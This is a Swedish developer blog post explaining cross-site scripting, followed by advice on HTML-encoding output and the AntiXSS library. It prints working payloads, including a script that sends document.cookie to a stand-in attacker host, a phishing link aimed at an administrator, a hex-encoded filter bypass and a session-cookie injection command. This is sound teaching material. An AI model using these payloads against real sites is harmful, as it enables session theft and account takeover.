Cross site scripting (xss)

Cross Site Scripting eller XSS som det också kallas är en metod där en användare utnyttjar en sajts indata för att förändra dess funktionalitet.

Oftast så handlar det om att en användare postar egen kod via antingen ett formulär eller querystring, som sidan sedan bearbetar tillsammans med sitt ordinarie innehåll. Ett forum är ett exempel där data från en användare tas emot och visas upp i form av ett inlägg, och där även egen HTML-kod kan vara tillåten för att skapa tillexempel fet eller kursiv stil.
I sådant fall kan en användare utnyttja detta för att dels förändra utseendet på forumet genom att posta in HTML-kod i stil med:

<hr size="5000"/><img src="http://spaceflightnow.com/news/n0108/26xss11/xss11.jpg"/>

Resultatet är relativt oskyldigt, men förstör ändå sajtens layout och intryck för andra.
Istället för att använda grafiska HTML-taggar kan även Javascript-kod postas in, vilket leder till en mängd ny funktionalitet.

<script language=javascript>for(I=0;I&lt;100;I++){alert(‘Please click here again…’);}alert()</script>

I ovanstående fall blir resultatet också relativt oskyldigt, men desto mer irriterande för användaren som måste klicka bort meddelanderutan 100 gånger.

Riktigt kritiskt blir det på lösenordsskyddade sajter där Cookies eller Sessions (ASP, ASP.NET, PHP m.fl) används. Här kan ett javascript fånga upp andras Sessions/Cookies och på så sätt sno sessionskakan och lägga in den på sin egen dator och därmed lura sajten att tro att denne är den ursprungliga användaren. När det är gjort kan användaren enkelt byta lösenord och har efter det tagit över kontot.

<script language=javascript>url = "http: //www.my_site.com/?data=" +document.cookie;
wnd = window.open(url,'','');
setTimeout('wnd.close()', 1000)</script>

Ovanstående kod öppnar ett nytt fönster där den utsattes Cookie skickas med i Querystringen och sedan bearbetas på attackerarens sajt. Värdet som skickas med kan exempelvis vara:
ASPSESSIONIDAADCABSR=BCOHGGCBCGAIGJLDACLADINF för en ASP-session eller PHPSESSID=2166493b6df40f42162994fcb1c62aa8 för en PHP-session.

När attackeraren nu har ovanstående information kan denne nu själv tilldela sig denna session genom att i adressfältet skriva:

javascript:document.cookie=’ASPSESSIONIDAADCABSR=BCOHGGCBCGAIGJLDACLADINF’;

När sidan nu laddas om är attackeraren är inloggad som den ursprungliga användaren.

Förutom att posta koden via ett formulär, kan även en länk skapas med koden som sedan lurar användare att klicka och då ge ifrån sig sina Session/Cookies. Ett vanligt fall för detta är till exempel en sajtadministratör som säkert är inloggad hela tiden. Det kan exempelvis vara om man startar ett supportärende mot sajten och i det skickar med en länk som visar ”problemet”. När administratören klickar på länken så skickas sessionskakan till hackaren och kan sedan använda administratörens verktyg.
En sådan länk kan se ut enligt:

<a href="http://original_site.com/postPage.asp?Msg=<script>window.open('http://hacker_site.com/?data='+document.cookie,'','');">Klicka här för att se en bugg i er sajt</a>

Många sajter skyddar sig dock mot ovanstående genom att de kanske bara tillåter vissa HTML-taggar eller kanske inga alls. Vad många däremot inte tänker på är att HTML-kod även går att skriva med HEX-värden. På detta sätt blir koden mindre läsbar och det är inte lika uppenbart vad som händer.
Exempel på en länk som är HEX-kodad är:

<a href="http://original_site.com/postPage.asp?Msg=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e">Klicka här....</a>

Ovanstående länk blir alltså:

<a href="http://original_site.com/postPage.asp?Msg<script>alert()">Klicka här....</a>

Hur skyddar man sig då mot XSS som utvecklare?
För det första, lita aldrig på att data som kommer från en webbläsare. Läs om klientvalidering och servervalidering som jag skrivit om.
Skriv ut data som HTML-enkodat (använd Server.HtmlEncode()) även på ställen där du inte tror dig behöva det. Det kan exempelvis vara referrer eller användarnamn.

Microsoft har släppt ett bibliotek som heter AntiXSS som använder en vitlista med tecken som är ok och filtrerar bort eller enkodar allt annat.

5 kommentarer

  1. […] senare skall skicka vidare till databasen eller liknande, vilket minskar risken för sql-injection, xss och andra angrepp på […]

  2. […] Kom dock ihåg att parameteriserade frågor inte avhjälper problemet med sessionskapning eller kakstölder. Mot detta krävs andra åtgärder som ni kan läsa om i artikeln Cross Site Scripting (XSS). […]

  3. […] Arkiverad under Asp.net, Säkerhet CSRF eller Cross site request forgery blandas ibland ihop med xss, jag vill i detta inlägg klargöra skillnaderna och vad man som utvecklare kan göra för att […]

  4. […] juli 2009 vid 10:59 · Arkiverad under Asp.net, Säkerhet Jag har tidigare skrivit om xss och hur man kan skydda sig mot det. En sak jag inte tar upp i det inlägget är bland annat hur man […]

  5. […] under Asp.net, Säkerhet Antixss är ett bra säkerhetsbibliotek för att undvika problem med xss. När antixss släpptes i version 3.1 kom även en rad nyheter. Bland annat Security Runtime Engine […]

RSS feed for comments on this post

Kommentarer inaktiverade.

%d bloggare gillar detta: